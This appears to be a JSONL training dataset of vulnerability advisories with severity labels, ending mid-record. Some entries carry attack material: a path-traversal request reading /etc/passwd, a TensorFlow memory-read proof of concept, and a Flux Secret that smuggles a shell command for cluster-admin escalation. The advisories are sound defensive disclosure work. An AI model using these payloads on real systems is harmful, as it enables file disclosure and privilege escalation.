-{"id": "7954cf10477fe8387cad", "text": "Directory Traversal in badjs-sourcemap-server\n\nAffected versions of `badjs-sourcemap-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in badjs-sourcemap-server\n\n[Severity: HIGH]\n\nAffected versions of `badjs-sourcemap-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "658731ba0dc8b56d8585", "text": "libxml as used in Nokogiri has an infinite loop in a certain end-of-file situation\n\nxmlStringLenDecodeEntities in parser.c in libxml2 2.9.10 has an infinite loop in a certain end-of-file situation.\nThe Nokogiri RubyGem has patched its vendored copy of libxml2 in order to prevent this issue from affecting nokogiri.", "text_raw": "libxml as used in Nokogiri has an infinite loop in a certain end-of-file situation\n\n[Severity: HIGH]\n\nxmlStringLenDecodeEntities in parser.c in libxml2 2.9.10 has an infinite loop in a certain end-of-file situation.\nThe Nokogiri RubyGem has patched its vendored copy of libxml2 in order to prevent this issue from affecting nokogiri.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-02-24", "split": "train"}
-{"id": "71a7e64e044c72161066", "text": "Improper Authentication in Apache Zeppelin\n\nIn Apache Zeppelin prior to 0.8.0 the cron scheduler was enabled by default and could allow users to run paragraphs as other users without authentication.", "text_raw": "Improper Authentication in Apache Zeppelin\n\n[Severity: HIGH]\n\nIn Apache Zeppelin prior to 0.8.0 the cron scheduler was enabled by default and could allow users to run paragraphs as other users without authentication.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-24", "split": "train"}
-{"id": "9109b18321c1dbe17f52", "text": "slimerjs-edge downloads Resources over HTTP\n\nAffected versions of `slimerjs-edge` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `slimerjs-edge`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "slimerjs-edge downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `slimerjs-edge` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `slimerjs-edge`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-15", "split": "train"}
-{"id": "47213dc8e782c21d3364", "text": "Prototype Pollution in deep-extend\n\nVersions of `deep-extend` before 0.5.1 are vulnerable to prototype pollution.\n\n## Recommendation\n\nUpdate to version 0.5.1 or later.", "text_raw": "Prototype Pollution in deep-extend\n\n[Severity: CRITICAL]\n\nVersions of `deep-extend` before 0.5.1 are vulnerable to prototype pollution.\n\n\n## Recommendation\n\nUpdate to version 0.5.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "9049eadeb2b98600e9f4", "text": "Prototype pollution vulnerability in 'libnested'\n\nPrototype pollution vulnerability in 'libnested' versions 0.0.0 through 1.5.0 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution vulnerability in 'libnested'\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'libnested' versions 0.0.0 through 1.5.0 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "8c49e2ba85ab7052d550", "text": "Teradek VidiU Pro 3.0.3 CSRF Change Password Exploit", "text_raw": "Teradek VidiU Pro 3.0.3 CSRF Change Password Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-05-21", "split": "train"}
-{"id": "662f848e0bea0c325690", "text": "Ashampoo Burning Studio Elements 10.0.9 (.ashprj) Heap Overflow Vulnerability", "text_raw": "Ashampoo Burning Studio Elements 10.0.9 (.ashprj) Heap Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2011-10-04", "split": "train"}
-{"id": "e3f22d75cf229fe66ab9", "text": "Nil dereference in NATS JWT causing DoS of nats-server\n\n(This advisory is canonically <https://advisories.nats.io/CVE/CVE-2020-26521.txt>)\n\n## Problem Description\n\nThe NATS account system has an Operator trusted by the servers, which signs Accounts, and each Account can then create and sign Users within their account.  The Operator should be able to safely issue Accounts to other entities which it does not fully trust.\n\nA malicious Account could create and sign a User JWT with a state not created by the normal tooling, such that decoding by the NATS JWT library (written in Go) would attempt a nil dereference, aborting execution.\n\nThe NATS Server is known to be impacted by this.\n\n## Affected versions\n\n#### JWT library\n\n* all versions prior to 1.1.0\n\n#### NATS Server\n\n* Version 2 prior to 2.1.9\n\n## Impact\n\n#### JWT library\n\n* Programs would nil dereference and panic, aborting execution by default.\n\n#### NATS server\n\n* Denial of Service caused by process termination\n\n## Workaround\n\nIf your NATS servers do not trust any accounts which are managed by untrusted entities, then malformed User credentials are unlikely to be encountered.\n\n## Solution\n\nUpgrade the JWT dependency in any application using it.\n\nUpgrade the NATS server if using NATS Accounts.", "text_raw": "Nil dereference in NATS JWT causing DoS of nats-server\n\n[Severity: HIGH]\n\n(This advisory is canonically <https://advisories.nats.io/CVE/CVE-2020-26521.txt>)\n\n## Problem Description\n\nThe NATS account system has an Operator trusted by the servers, which signs Accounts, and each Account can then create and sign Users within their account.  The Operator should be able to safely issue Accounts to other entities which it does not fully trust.\n\nA malicious Account could create and sign a User JWT with a state not created by the normal tooling, such that decoding by the NATS JWT library (written in Go) would attempt a nil dereference, aborting execution.\n\nThe NATS Server is known to be impacted by this.\n\n\n## Affected versions\n\n#### JWT library\n\n * all versions prior to 1.1.0\n\n#### NATS Server\n\n * Version 2 prior to 2.1.9\n\n\n## Impact\n\n#### JWT library\n\n * Programs would nil dereference and panic, aborting execution by default.\n\n#### NATS server\n\n * Denial of Service caused by process termination\n\n\n## Workaround\n\nIf your NATS servers do not trust any accounts which are managed by untrusted entities, then malformed User credentials are unlikely to be encountered.\n\n\n## Solution\n\nUpgrade the JWT dependency in any application using it.\n\nUpgrade the NATS server if using NATS Accounts.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "54bf336cc96e96105143", "text": "Malicious Package in load-from-cwd-or-npm\n\nVersion 3.0.2 of `load-from-cwd-or-npm`  contains malicious code. The malware breaks functionality of the `purescript-installer` package by injecting targeted code.\n\n## Recommendation\n\nUpgrade to version 3.0.4 or later. There is no indication of further compromise.", "text_raw": "Malicious Package in load-from-cwd-or-npm\n\n[Severity: CRITICAL]\n\nVersion 3.0.2 of `load-from-cwd-or-npm`  contains malicious code. The malware breaks functionality of the `purescript-installer` package by injecting targeted code.\n\n\n## Recommendation\n\nUpgrade to version 3.0.4 or later. There is no indication of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "313f4bf87a129d539383", "text": "Generated Code Contains Local Information Disclosure Vulnerability\n\n### Impact\n\n**This vulnerability impacts generated code.** If this code was generated as a one-off occasion, not as a part of an automated CI/CD process, this code will remain vulnerable until fixed manually!\n\nOn Unix-Like systems, the system temporary directory is shared between all local users. When files/directories are created, the default `umask` settings for the process are respected. As a result, by default, most processes/apis will create files/directories with the permissions `-rw-r--r--` and `drwxr-xr-x` respectively, unless an API that explicitly sets safe file permissions is used.\n\n#### Java Code\n\nThe method `File.createTempFile` from the JDK is vulnerable to this local information disclosure vulnerability.\n\n- https://github.com/swagger-api/swagger-codegen/blob/068b1ebcb7b04a48ad38f1cadd24bb3810c9f1ab/modules/swagger-codegen/src/main/resources/kotlin-client/infrastructure/ApiClient.kt.mustache#L209\n- https://github.com/swagger-api/swagger-codegen/blob/068b1ebcb7b04a48ad38f1cadd24bb3810c9f1ab/modules/swagger-codegen/src/main/resources/finch/api.mustache#L84\n- https://github.com/swagger-api/swagger-codegen/blob/068b1ebcb7b04a48ad38f1cadd24bb3810c9f1ab/modules/swagger-codegen/src/main/resources/Java/libraries/okhttp-gson/ApiClient.mustache#L831-L834\n- https://github.com/swagger-api/swagger-codegen/blob/068b1ebcb7b04a48ad38f1cadd24bb3810c9f1ab/modules/swagger-codegen/src/main/resources/Java/libraries/jersey2/ApiClient.mustache#L630-L633\n\n### Patches\n\nFix has been applied to the master branch with:\n\n* https://github.com/swagger-api/swagger-codegen/commit/35adbd552d5f99b3ff1e0e59da228becc85190f2\n\nincluded in release: 2.4.19\n\n### Workarounds\n\nUsers can remediate the vulnerability in non patched version by manually (or programmatically e.g. in CI) updating the generated source code to use `java.nio.files.Files` temporary file creation instead of `java.io.File`, e.g. by changing\n\n```java\n\nif (tempFolderPath == null)\n      return File.createTempFile(prefix, suffix);\n    else\n      return File.createTempFile(prefix, suffix, new File(tempFolderPath));\n\n```\n\nto\n\n```java\n\nif (tempFolderPath == null)\n      return Files.createTempFile(prefix, suffix).toFile();\n    else\n      return Files.createTempFile(Paths.get(tempFolderPath), prefix, suffix).toFile();\n\n```\n\nor generally changing:\n\n```java\n\nFile.createTempFile(prefix, suffix);\n\n```\n\nto\n\n```java\n\nFiles.createTempFile(prefix, suffix).toFile();\n\n```\n\n### References\n\n* [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n* [CWE-732: Incorrect Permission Assignment for Critical Resource](https://cwe.mitre.org/data/definitions/732.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Email us at [security@swagger.io](mailto:security@swagger.io)\n\n#### Original vulnerability report\n\n> I'm performing OSS security research under the GitHub Security Lab Bug Bounty program.\n> I've been using a custom CodeQL query to find local temporary directory vulnerabilities in OSS with three custom CodeQL queries.\n> \n> - https://github.com/github/codeql/pull/4388/files#diff-71d36c0f2bd0b08e32866f873f1c906cdc17277e0ad327c0c6cd2c882f30de4f\n> - https://github.com/github/codeql/pull/4388/files#diff-1893a18a8bf43c011d61a7889d0139b998a5a78701a30fe7722eddd4c506aaac\n> - https://github.com/github/codeql/pull/4473\n> \n> The code generated by the Swagger Generator contains a local information disclosure vulnerability. The system temporary directory, on unix-like systems is shared between multiple users. Information written to this directory, or directories created under this directory that do not correctly set the posix standard permissions can have these directories read/modified by other users.\n> \n> ---\n> \n> This code exists in the code generator, in the generated code.\n> \n> In this case, I believe this is only a local inf", "text_raw": "Generated Code Contains Local Information Disclosure Vulnerability\n\n[Severity: MEDIUM]\n\n### Impact\n\n**This vulnerability impacts generated code.** If this code was generated as a one-off occasion, not as a part of an automated CI/CD process, this code will remain vulnerable until fixed manually!\n\nOn Unix-Like systems, the system temporary directory is shared between all local users. When files/directories are created, the default `umask` settings for the process are respected. As a result, by default, most processes/apis will create files/directories with the permissions `-rw-r--r--` and `drwxr-xr-x` respectively, unless an API that explicitly sets safe file permissions is used.\n\n#### Java Code\n\nThe method `File.createTempFile` from the JDK is vulnerable to this local information disclosure vulnerability.\n\n- https://github.com/swagger-api/swagger-codegen/blob/068b1ebcb7b04a48ad38f1cadd24bb3810c9f1ab/modules/swagger-codegen/src/main/resources/kotlin-client/infrastructure/ApiClient.kt.mustache#L209\n- https://github.com/swagger-api/swagger-codegen/blob/068b1ebcb7b04a48ad38f1cadd24bb3810c9f1ab/modules/swagger-codegen/src/main/resources/finch/api.mustache#L84\n- https://github.com/swagger-api/swagger-codegen/blob/068b1ebcb7b04a48ad38f1cadd24bb3810c9f1ab/modules/swagger-codegen/src/main/resources/Java/libraries/okhttp-gson/ApiClient.mustache#L831-L834\n- https://github.com/swagger-api/swagger-codegen/blob/068b1ebcb7b04a48ad38f1cadd24bb3810c9f1ab/modules/swagger-codegen/src/main/resources/Java/libraries/jersey2/ApiClient.mustache#L630-L633\n\n### Patches\n\nFix has been applied to the master branch with:\n\n* https://github.com/swagger-api/swagger-codegen/commit/35adbd552d5f99b3ff1e0e59da228becc85190f2\n\nincluded in release: 2.4.19\n\n\n### Workarounds\n\nUsers can remediate the vulnerability in non patched version by manually (or programmatically e.g. in CI) updating the generated source code to use `java.nio.files.Files` temporary file creation instead of `java.io.File`, e.g. by changing\n\n```java\n\n    if (tempFolderPath == null)\n      return File.createTempFile(prefix, suffix);\n    else\n      return File.createTempFile(prefix, suffix, new File(tempFolderPath));\n\n```\n\nto \n\n```java\n\n    if (tempFolderPath == null)\n      return Files.createTempFile(prefix, suffix).toFile();\n    else\n      return Files.createTempFile(Paths.get(tempFolderPath), prefix, suffix).toFile();\n\n```\n\nor generally changing:\n\n```java\n\nFile.createTempFile(prefix, suffix);\n\n```\n\nto \n\n```java\n\nFiles.createTempFile(prefix, suffix).toFile();\n\n```\n\n### References\n\n* [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n* [CWE-732: Incorrect Permission Assignment for Critical Resource](https://cwe.mitre.org/data/definitions/732.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Email us at [security@swagger.io](mailto:security@swagger.io)\n\n#### Original vulnerability report\n\n> I'm performing OSS security research under the GitHub Security Lab Bug Bounty program.\n> I've been using a custom CodeQL query to find local temporary directory vulnerabilities in OSS with three custom CodeQL queries.\n> \n> - https://github.com/github/codeql/pull/4388/files#diff-71d36c0f2bd0b08e32866f873f1c906cdc17277e0ad327c0c6cd2c882f30de4f\n> - https://github.com/github/codeql/pull/4388/files#diff-1893a18a8bf43c011d61a7889d0139b998a5a78701a30fe7722eddd4c506aaac\n> - https://github.com/github/codeql/pull/4473\n> \n> The code generated by the Swagger Generator contains a local information disclosure vulnerability. The system temporary directory, on unix-like systems is shared between multiple users. Information written to this directory, or directories created under this directory that do not correctly set the posix standard permissions can have these directories read/modified by other users.\n> \n> ---\n> \n> This code exists in the code generator, in the generated code.\n> \n> In this case, I b", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-11", "split": "train"}
-{"id": "44221396a874f1235fe2", "text": "Arbitrary memory read in `ImmutableConst`\n\n### Impact\nThe `ImmutableConst` operation in TensorFlow can be tricked into reading arbitrary memory contents:\n\n```python\nimport tensorflow as tf\n\nwith open('/tmp/test','wb') as f:\n    f.write(b'\\xe2'*128)\n    data = tf.raw_ops.ImmutableConst(dtype=tf.string,shape=3,memory_region_name='/tmp/test')\n\nprint(data)\n```\n\nThis is because the `tstring` TensorFlow string class has a special case for memory mapped strings but the operation itself does not offer any support for this datatype.\n\n### Patches\nWe have patched the issue in GitHub commit [3712a2d3455e6ccb924daa5724a3652a86f6b585](https://github.com/tensorflow/tensorflow/commit/3712a2d3455e6ccb924daa5724a3652a86f6b585) and GitHub commit [1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b](https://github.com/tensorflow/tensorflow/commit/1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Arbitrary memory read in `ImmutableConst`\n\n[Severity: MEDIUM]\n\n### Impact\nThe `ImmutableConst` operation in TensorFlow can be tricked into reading arbitrary memory contents:\n\n```python\nimport tensorflow as tf\n  \nwith open('/tmp/test','wb') as f:\n    f.write(b'\\xe2'*128)\n    data = tf.raw_ops.ImmutableConst(dtype=tf.string,shape=3,memory_region_name='/tmp/test')\n  \nprint(data)\n```\n  \nThis is because the `tstring` TensorFlow string class has a special case for memory mapped strings but the operation itself does not offer any support for this datatype.\n\n### Patches\nWe have patched the issue in GitHub commit [3712a2d3455e6ccb924daa5724a3652a86f6b585](https://github.com/tensorflow/tensorflow/commit/3712a2d3455e6ccb924daa5724a3652a86f6b585) and GitHub commit [1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b](https://github.com/tensorflow/tensorflow/commit/1cb6bb6c2a6019417c9adaf9e6843ba75ee2580b).\n  \nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "1c18ef7a837aecd0315f", "text": "OpenMRS 2.3 (1.11.4) XML External Entity (XXE) Processing PoC Exploit", "text_raw": "OpenMRS 2.3 (1.11.4) XML External Entity (XXE) Processing PoC Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-12-07", "split": "train"}
-{"id": "53c555697b0d1883f4f7", "text": "Cross-Site Scripting in md-data-table\n\nAll versions of `md-data-table` are vulnerable to cross-site scripting (XSS). This vulnerability is exploitable if an attacker has control over data that is rendered by `mdt-row`\n\n## Recommendation\n\nAs there is no fix for this vulnerability at this time we recommend either selecting another package to perform this functionality or properly sanitizing all user data prior to rendering with `md-data-table`", "text_raw": "Cross-Site Scripting in md-data-table\n\n[Severity: HIGH]\n\nAll versions of `md-data-table` are vulnerable to cross-site scripting (XSS). This vulnerability is exploitable if an attacker has control over data that is rendered by `mdt-row`\n\n\n## Recommendation\n\nAs there is no fix for this vulnerability at this time we recommend either selecting another package to perform this functionality or properly sanitizing all user data prior to rendering with `md-data-table`", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "558c87b2446be89c503f", "text": "activesupport Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in `activesupport/lib/active_support/core_ext/string/output_safety.rb` in Ruby on Rails before 2.3.16, 3.0.x before , 3.1.x before 3.1.8, and 3.2.x before 3.2.8 might allow remote attackers to inject arbitrary web script or HTML via vectors involving a ' (quote) character.", "text_raw": "activesupport Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in `activesupport/lib/active_support/core_ext/string/output_safety.rb` in Ruby on Rails before 2.3.16, 3.0.x before , 3.1.x before 3.1.8, and 3.2.x before 3.2.8 might allow remote attackers to inject arbitrary web script or HTML via vectors involving a ' (quote) character.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "765e41fa2c10e7853794", "text": "SIMalliance Toolbox Browser Command Injection Vulnerability\n\nAffected: SIMalliance Toolbox Browser\n\nSIMalliance Toolbox Browser contains an command injection vulnerability that could allow remote attackers to retrieve location and IMEI information or execute a range of other attacks by modifying the attack message.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SIMalliance Toolbox Browser Command Injection Vulnerability\n\nAffected: SIMalliance Toolbox Browser\n\nSIMalliance Toolbox Browser contains an command injection vulnerability that could allow remote attackers to retrieve location and IMEI information or execute a range of other attacks by modifying the attack message.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "3046cc30a4a2ff1f36c7", "text": "Apache Tomcat Denial of Service vulnerability\n\nThe HTTP/2 implementation in Apache Tomcat 9.0.0.M1 to 9.0.14 and 8.5.0 to 8.5.37 accepted streams with excessive numbers of SETTINGS frames and also permitted clients to keep streams open without reading/writing request/response data. By keeping streams open for requests that utilised the Servlet API's blocking I/O, clients were able to cause server-side threads to block eventually leading to thread exhaustion and a DoS.", "text_raw": "Apache Tomcat Denial of Service vulnerability\n\n[Severity: HIGH]\n\nThe HTTP/2 implementation in Apache Tomcat 9.0.0.M1 to 9.0.14 and 8.5.0 to 8.5.37 accepted streams with excessive numbers of SETTINGS frames and also permitted clients to keep streams open without reading/writing request/response data. By keeping streams open for requests that utilised the Servlet API's blocking I/O, clients were able to cause server-side threads to block eventually leading to thread exhaustion and a DoS.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
-{"id": "1519ef0594eb7f16f16c", "text": "Microsoft Windows NTFS Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows New Technology File System (NTFS) contains an unspecified vulnerability that allows attackers to escalate privileges via a specially crafted application.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-191, CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows NTFS Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows New Technology File System (NTFS) contains an unspecified vulnerability that allows attackers to escalate privileges via a specially crafted application.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-191, CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "ae01864cd13e1cc74d22", "text": "lxml vulnerable to Cross-Site Scripting\n\nAn XSS vulnerability was discovered in the python `lxml` clean module versions before 4.6.3. When disabling `the safe_attrs_only` and `forms` arguments, the `Cleaner` class does not remove the `formaction` attribute allowing for JS to bypass the sanitizer. A remote attacker could exploit this flaw to run arbitrary JS code on users who interact with incorrectly sanitized HTML. This issue is patched in `lxml` 4.6.3.", "text_raw": "lxml vulnerable to Cross-Site Scripting \n\n[Severity: MEDIUM]\n\nAn XSS vulnerability was discovered in the python `lxml` clean module versions before 4.6.3. When disabling `the safe_attrs_only` and `forms` arguments, the `Cleaner` class does not remove the `formaction` attribute allowing for JS to bypass the sanitizer. A remote attacker could exploit this flaw to run arbitrary JS code on users who interact with incorrectly sanitized HTML. This issue is patched in `lxml` 4.6.3.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-22", "split": "train"}
-{"id": "19adf731aebb9940b25e", "text": "An issue in Atomix v3.1.5 allows unauthorized Atomix nodes to join a target cluster via providing configuration information.", "text_raw": "An issue in Atomix v3.1.5 allows unauthorized Atomix nodes to join a target cluster via providing configuration information.\n\n[Severity: HIGH]", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "3933b23497f1876549a9", "text": "Mango Automation 2.6.0 Remote XSS POST Injection Vulnerability", "text_raw": "Mango Automation 2.6.0 Remote XSS POST Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-09-26", "split": "train"}
-{"id": "765f68acc0fcdbdeaae7", "text": "NethServer 7.3.1611 (Upload.json) CSRF Script Insertion Vulnerability", "text_raw": "NethServer 7.3.1611 (Upload.json) CSRF Script Insertion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-08-29", "split": "train"}
-{"id": "25b77ed420af83fbeea5", "text": "mio invalidly assumes the memory layout of std::net::SocketAddr\n\nThe mio crate has assumed std::net::SocketAddrV4 and std::net::SocketAddrV6 have the same memory layout as the system C representation sockaddr. It has simply casted the pointers to convert the socket addresses to the system representation. The standard library does not say anything about the memory layout, and this will cause invalid memory access if the standard library changes the implementation. No warnings or errors will be emitted once the change happens.", "text_raw": "mio invalidly assumes the memory layout of std::net::SocketAddr\n\n[Severity: MEDIUM]\n\nThe mio crate has assumed std::net::SocketAddrV4 and std::net::SocketAddrV6 have the same memory layout as the system C representation sockaddr. It has simply casted the pointers to convert the socket addresses to the system representation. The standard library does not say anything about the memory layout, and this will cause invalid memory access if the standard library changes the implementation. No warnings or errors will be emitted once the change happens.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8d77ada4eb7853c80c77", "text": "Oracle WebLogic Server Remote Code Execution Vulnerability\n\nAffected: Oracle WebLogic Server\n\nOracle WebLogic Server contains an unspecified vulnerability, which is assessed to allow for remote code execution, based on this vulnerability being related to CVE-2020-14750.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Oracle WebLogic Server Remote Code Execution Vulnerability\n\nAffected: Oracle WebLogic Server\n\nOracle WebLogic Server contains an unspecified vulnerability, which is assessed to allow for remote code execution, based on this vulnerability being related to CVE-2020-14750.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "f7fa0d4c69118bf4ce09", "text": "Incorrect cast in anymap\n\nAn issue was discovered in the anymap crate through 0.12.1 for Rust. It violates soundness via conversion of a *u8 to a *u64.", "text_raw": "Incorrect cast in anymap\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the anymap crate through 0.12.1 for Rust. It violates soundness via conversion of a *u8 to a *u64.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "4ea9fa77061233c7fbd0", "text": "Data races in appendix\n\nThe `appendix` crate implements a key-value mapping data structure called\n`Index<K, V>` that is stored on disk. The crate allows for any type to inhabit\nthe generic `K` and `V` type parameters and implements Send and Sync for them\nunconditionally.\n\nUsing a type that is not marked as `Send` or `Sync` with `Index` can allow it\nto be used across multiple threads leading to data races. Additionally using\nreference types for the keys or values will lead to the segmentation faults\nin the crate's code.", "text_raw": "Data races in appendix\n\n[Severity: MEDIUM]\n\nThe `appendix` crate implements a key-value mapping data structure called\n`Index<K, V>` that is stored on disk. The crate allows for any type to inhabit\nthe generic `K` and `V` type parameters and implements Send and Sync for them\nunconditionally.\n\nUsing a type that is not marked as `Send` or `Sync` with `Index` can allow it\nto be used across multiple threads leading to data races. Additionally using\nreference types for the keys or values will lead to the segmentation faults\nin the crate's code.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "baa601ff9bc9ffec1317", "text": "Exposure of Sensitive Information to an Unauthorized Actor and SQL Injection in Spring Data JPA\n\nThis affects Spring Data JPA in versions up to and including 2.1.5, 2.0.13 and 1.11.19. Derived queries using any of the predicates ?startingWith?, ?endingWith? or ?containing? could return more results than anticipated when a maliciously crafted query parameter value is supplied. Also, LIKE expressions in manually defined queries could return unexpected results if the parameter values bound did not have escaped reserved characters properly.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor and SQL Injection in Spring Data JPA\n\n[Severity: MEDIUM]\n\nThis affects Spring Data JPA in versions up to and including 2.1.5, 2.0.13 and 1.11.19. Derived queries using any of the predicates ?startingWith?, ?endingWith? or ?containing? could return more results than anticipated when a maliciously crafted query parameter value is supplied. Also, LIKE expressions in manually defined queries could return unexpected results if the parameter values bound did not have escaped reserved characters properly.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-14", "split": "train"}
-{"id": "e8244ceb739c0a4bbee1", "text": "Privilege escalation to cluster admin on multi-tenant environments\n\nUsers that can create Kubernetes Secrets, Service Accounts and Flux Kustomization objects, could execute commands inside the kustomize-controller container by embedding a shell script in a Kubernetes Secret. This can be used to run `kubectl` commands under the Service Account of kustomize-controller, thus allowing an authenticated Kubernetes user to gain cluster admin privileges.\n\n### Impact\n\nMultitenant environments where non-admin users have permissions to create Flux Kustomization objects are affected by this issue.\n\n### Exploit\n\nTo exploit the command injection, first we create a secret with a shell command:\n\n```sh\nkubectl create secret generic exploit-token --from-literal=token=\" || kubectl api-versions\"\n```\n\nThen we create a Service Account that refers to the above Secret:\n\n```yaml\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: exploit\n  namespace: default\nautomountServiceAccountToken: false\nsecrets:\n- name: exploit-token\n```\n\nAnd finally a Kustomization that runs under the above Service Account:\n\n```yaml\napiVersion: kustomize.toolkit.fluxcd.io/v1beta1\nkind: Kustomization\nmetadata:\n  name: exploit\n  namespace: default\nspec:\n  interval: 5m\n  